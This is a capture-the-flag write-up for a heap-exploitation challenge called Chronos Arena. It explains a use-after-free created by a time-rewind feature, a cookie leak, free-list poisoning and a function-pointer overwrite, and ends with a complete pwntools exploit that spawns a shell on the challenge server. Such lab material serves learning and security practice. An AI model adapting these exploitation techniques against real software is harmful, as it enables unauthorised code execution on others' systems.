Warriors (Chronos Arena)
Warriors (Chronos Arena)
Platform: caplag | Category: pwn | Type: Challenge | Difficulty: Medium-Hard | OS: Linux | Author: XESXOR | Date: 2026-02-22 | Status: Solved Techniques: uaf_via_state_restore, free_list_poisoning, xor_cookie_leak, oob_read_leak, oob_write_poison, arbitrary_allocation, function_pointer_overwrite
Summary
- Server: not-web.caplag-task.ru:30566 - Binary: ELF 64-bit x86-64, dynamically linked, NOT stripped, WITH debug info - Compilation: GCC 11.4.0, Ubuntu 22.04,
-O0 -fno-stack-protector
Warriors (Chronos Arena) — Caplag CTF
Description
Добро пожаловать на Арену Хроноса. Здесь воины рождаются из байтов памяти. Только Повелитель Времени может манипулировать временной линией без последствий. Сможете ли вы победить Хранителя Целостности и захватить Флаг?
- Server: not-web.caplag-task.ru:30566
- Binary: ELF 64-bit x86-64, dynamically linked, NOT stripped, WITH debug info
- Compilation: GCC 11.4.0, Ubuntu 22.04,
-O0 -fno-stack-protector
Analysis
Protections
| Protection | Status |
|---|---|
| PIE | No (base 0x400000) |
| RELRO | No (GOT writable) |
| Stack Canary | No |
| NX | Yes |
| |
Menu (8 options)
- Spawn Warrior — allocates 0x58-byte chunk via custom allocator, copies name via
strncpy - Sacrifice Warrior — frees chunk, checks CRC32 integrity, clears slot
- Scout Warrior — reads memory at
warrior+0x10+offset, offset-24..96, length0..120(hex without spaces) - Time Rewind — restores GameState from saved snapshot (timeline anchor)
- Rename Warrior — writes bytes at
warrior+0x10+shift, shift-16..16, length0..80, usesfreadfor exact byte count - Invoke Chronos Core — calls
g_bridge.dispatch(global function pointer) - Show Army — lists warriors
- Exit
Data Structures
Warrior (0x58 = 88 bytes, heap-allocated):
+0x00: uint32_t checksum // CRC32 of name region [0x10..0x4F]
+0x04: uint32_t pad
+0x08: uint64_t encrypted_ptr // XOR-encrypted free-list link: real_ptr ^ SECRET_COOKIE
+0x10: char name[64] // user-controlled data (offset 0 in scout/rename)
+0x50: void (*battle_cry)() // function pointer
ControlBridge / g_bridge (0xC8 bytes) at 0x404320:
+0x00: padding (16 bytes)
+0x10: char prologue[24] // "chronos-core:stable-stat"
+0x28: void (*dispatch)() // function pointer -> called by option 6
+0x30: char epilogue[24] // "temporal-seal:intact...."
GameState (0xE0 bytes, on stack):
+0x00: Warrior* slots[24] // 192 bytes — RAW HEAP POINTERS
+0xC0: uint8_t occupied[24]
+0xD8: uint64_t living_count
Key Addresses (No PIE)
| Symbol | Address | Description |
|---|---|---|
summon_oracle | 0x401CAA | WIN: system("/bin/sh") |
g_bridge | 0x404320 | Global ControlBridge |
g_bridge.dispatch | 0x404348 | Function pointer (option 6) |
TARGET_CHUNK | 0x404338 | g_bridge+0x18, so that chunk+0x10 = 0x404348 |
SECRET_COOKIE | 0x4043E8 | XOR key for free-list |
| |
Custom Allocator
The binary uses a custom heap allocator (not glibc malloc) with XOR-encrypted free-list:
c read-only • copy allowed// allocator_take() — allocation Warrior* allocator_take() { if (g_free_head == NULL) return malloc(0x58); Warrior *chunk = g_free_head; void *next = (void*)(chunk->encrypted_ptr ^ SECRET_COOKIE); g_free_head = next; return chunk; } // allocator_return() — deallocation void allocator_return(Warrior *chunk) { chunk->encrypted_ptr = (uint64_t)g_free_head ^ SECRET_COOKIE; g_free_head = chunk; }
Vulnerabilities
1. UAF via Time Rewind (CRITICAL)
timeline_restore() copies raw heap pointers back into state->slots[] without validating them. If a warrior was freed (sacrificed) after creating a snapshot, rewind restores a dangling pointer. Meanwhile, g_free_head is a global variable not saved in the timeline, so the free-list still contains the freed chunk.
2. OOB Read in Scout (encrypted_ptr leak)
Scout allows offset from -24 to +96. With offset=-8 we read warrior+0x08 = encrypted_ptr. For the only chunk in the free-list: encrypted_ptr = NULL ^ SECRET_COOKIE = SECRET_COOKIE.
3. OOB Write in Rename (encrypted_ptr overwrite)
Rename allows shift from -16 to +16. With shift=-8 we write to warrior+0x08 = encrypted_ptr. This allows replacing the next pointer in the free-list.
4. CRC32 Integrity Bypass
cmd_sacrifice checks CRC32 and calls abort() on mismatch. But cmd_rename does not update CRC32 after writing. Bypass: we never sacrifice the renamed chunk — we use rename only for UAF write, then spawn new warriors.
Solution
Goal
Overwrite g_bridge.dispatch (0x404348) with summon_oracle address (0x401CAA), then call option 6 → system("/bin/sh").
Phase 1: Creating UAF via Time Rewind
- Spawn warrior 0 (name="AAAA") → timeline anchor 1 saves
slot[0] = A - Sacrifice warrior 0 → chunk A freed,
A->encrypted_ptr = NULL ^ SECRET_COOKIE = SECRET_COOKIE - Rewind to anchor 1 →
slot[0] = Arestored (dangling pointer!), UAF achieved
Phase 2: Leaking SECRET_COOKIE
- Scout warrior 0, offset=-8, length=8 → read
A+0x08 = encrypted_ptr = SECRET_COOKIE
Phase 3: Free-list Poisoning
- Rename warrior 0, shift=-8, length=8 → write to
A+0x08:- Value:
p64(0x404338 ^ SECRET_COOKIE)— forged next pointer tog_bridge+0x18 - Now free-list:
A → 0x404338 (g_bridge+0x18)
- Value:
Phase 4: Allocation into g_bridge
- Spawn warrior (slot 1, name="BBBB") → allocator returns chunk A (consumes UAF)
g_free_headbecomes0x404338
- Spawn warrior (slot 2, name=
p64(0x401CAA)) → allocator returns0x404338memset(0x404338, 0, 0x58)— zeroes part of g_bridgestrncpy(0x404348, name, 0x3F)— writessummon_oracleaddress todispatch!
Phase 5: Getting Shell
- Invoke Chronos Core (option 6) → calls
g_bridge.dispatch = summon_oracle summon_oracle()→system("/bin/sh")→ SHELL!
Attack Visualization
Free-list before poisoning:
g_free_head → [chunk A] → NULL (encrypted)
After rename (Phase 3):
g_free_head → [chunk A] → [0x404338 (g_bridge+0x18)] → ??? (encrypted)
After first spawn (Phase 4, step 6):
g_free_head → [0x404338]
After second spawn (Phase 4, step 7):
Allocation at address 0x404338:
┌─────────────────────────────────────────┐
│ 0x404338: chunk base (memset zeros) │
│ 0x404348: name field = p64(0x401CAA) │ ← g_bridge.dispatch OVERWRITTEN!
│ ... │
└─────────────────────────────────────────┘
Exploit
python read-only • copy allowed#!/usr/bin/env python3 """ Chronos Arena - Heap Exploitation via UAF + Free-list Poisoning CTF: caplag | Task: Warriors | Category: pwn Vulnerability: Time Rewind restores dangling heap pointers (UAF) Strategy: 1. Spawn warrior -> Sacrifice -> Rewind = UAF 2. Scout UAF chunk to leak SECRET_COOKIE from encrypted free-list pointer 3. Rename UAF chunk to poison free-list (forge next pointer) 4. Spawn twice: first reuses UAF chunk, second allocates at g_bridge+0x18 5. Second spawn writes summon_oracle address into g_bridge.dispatch 6. Invoke Chronos Core -> calls summon_oracle -> system("/bin/sh") """ from pwn import * # ─── Config ─────────────────────────────────────────────────────────── BINARY = "./chronos_arena" HOST = "not-web.caplag-task.ru" PORT = 30566 # ─── Addresses (No PIE, base 0x400000) ─────────────────────────────── SUMMON_ORACLE = 0x401CAA # calls system("/bin/sh") G_BRIDGE = 0x404320 G_BRIDGE_DISPATCH = G_BRIDGE + 0x28 # 0x404348 - function pointer called by option 6 # We want allocator to return chunk at G_BRIDGE + 0x18 = 0x404338 # so that chunk+0x10 = 0x404348 = dispatch pointer TARGET_CHUNK = G_BRIDGE + 0x18 # 0x404338 context.binary = BINARY context.log_level = "info" def conn(): if args.REMOTE: return remote(HOST, PORT) elif args.GDB: return gdb.debug( BINARY, gdbscript=""" break *cmd_invoke_core+0x16 break *allocator_take continue """, ) else: return process(BINARY) def menu_wait(io): io.recvuntil(b"Chronos> ") def spawn(io, name: bytes): """Option 1: Spawn Warrior""" io.sendline(b"1") io.recvuntil(b"Warrior name: ") io.sendline(name) menu_wait(io) def sacrifice(io, slot: int): """Option 2: Sacrifice Warrior""" io.sendline(b"2") io.recvuntil(b"Choose slot: ") io.sendline(str(slot).encode()) menu_wait(io) def scout(io, slot: int, offset: int, length: int) -> bytes: """Option 3: Scout Warrior - read memory Output format: "Vision: " then hex bytes (NO spaces) then newline """ io.sendline(b"3") io.recvuntil(b"Choose slot: ") io.sendline(str(slot).encode()) io.recvuntil(b"Scout offset (-24..96): ") io.sendline(str(offset).encode()) io.recvuntil(b"Vision length (0..120): ") io.sendline(str(length).encode()) io.recvuntil(b"Vision: ") hex_data = io.recvline().strip() return bytes.fromhex(hex_data.decode()) def rewind(io, anchor: int): """Option 4: Time Rewind""" io.sendline(b"4") io.recvuntil(b"Rewind to anchor: ") io.sendline(str(anchor).encode()) menu_wait(io) def rename(io, slot: int, shift: int, length: int, data: bytes): """Option 5: Rename Warrior - write memory read_exact_payload uses fread for exact byte count. Send exactly `length` bytes + '\n' (consumed by fgetc post-read). """ assert len(data) == length io.sendline(b"5") io.recvuntil(b"Choose slot: ") io.sendline(str(slot).encode()) io.recvuntil(b"Rune shift (-16..16): ") io.sendline(str(shift).encode()) io.recvuntil(b"Rune length (0..80): ") io.sendline(str(length).encode()) io.recvuntil(b"Raw inscription bytes: ") io.send(data + b"\n") menu_wait(io) def invoke_core(io): """Option 6: Invoke Chronos Core""" io.sendline(b"6") # ─── Exploit ────────────────────────────────────────────────────────── def exploit(): io = conn() menu_wait(io) # ── Phase 1: Create UAF via Time Rewind ── log.info("Phase 1: Creating UAF via Time Rewind") spawn(io, b"AAAA") # anchor 1: slot[0] = A sacrifice(io, 0) # anchor 2: A freed, encrypted_ptr = SECRET_COOKIE rewind(io, 1) # restore slot[0] = A (dangling!) # ── Phase 2: Leak SECRET_COOKIE ── log.info("Phase 2: Leaking SECRET_COOKIE") leaked = scout(io, 0, -8, 8) # read warrior+0x08 = encrypted_ptr secret_cookie = u64(leaked) log.success(f"SECRET_COOKIE = {hex(secret_cookie)}") # ── Phase 3: Poison free list ── log.info("Phase 3: Poisoning free list") forged_next = p64(TARGET_CHUNK ^ secret_cookie) rename(io, 0, -8, 8, forged_next) # overwrite encrypted_ptr # ── Phase 4: Allocate at g_bridge ── log.info("Phase 4: Allocating at g_bridge") spawn(io, b"BBBB") # consumes UAF chunk spawn(io, p64(SUMMON_ORACLE)) # allocates at 0x404338, writes dispatch # ── Phase 5: Trigger win ── log.success("Phase 5: Invoking Chronos Core -> shell!") invoke_core(io) io.sendline(b"cat flag.txt") io.interactive() if __name__ == "__main__": exploit()
Notes
- Custom allocator vs glibc: Custom allocators are often easier to exploit — no tcache double-free detection, safe-linking, or other glibc mitigations. But XOR-encrypted free-list requires leaking the key.
- Timeline/Snapshot UAF — a pattern where undo/redo/restore mechanism doesn't invalidate heap pointers. Found in tasks with "save/load game state", "undo operation", "time travel".
- Rename protocol:
fread()for exact byte count +fgetc()for trailing newline. Send:data + b"\n"(newline consumed by fgetc). - TARGET_CHUNK calculation: We need
chunk+0x10(name field, where strncpy writes) to land exactly on the target function pointer. ThereforeTARGET = dispatch_addr - 0x10 = 0x404348 - 0x10 = 0x404338. - CRC32 bypass: Rename corrupts CRC32, but sacrifice (the only function with the check) is never called on the renamed chunk. Exploit flow: rename UAF → spawn new → invoke core.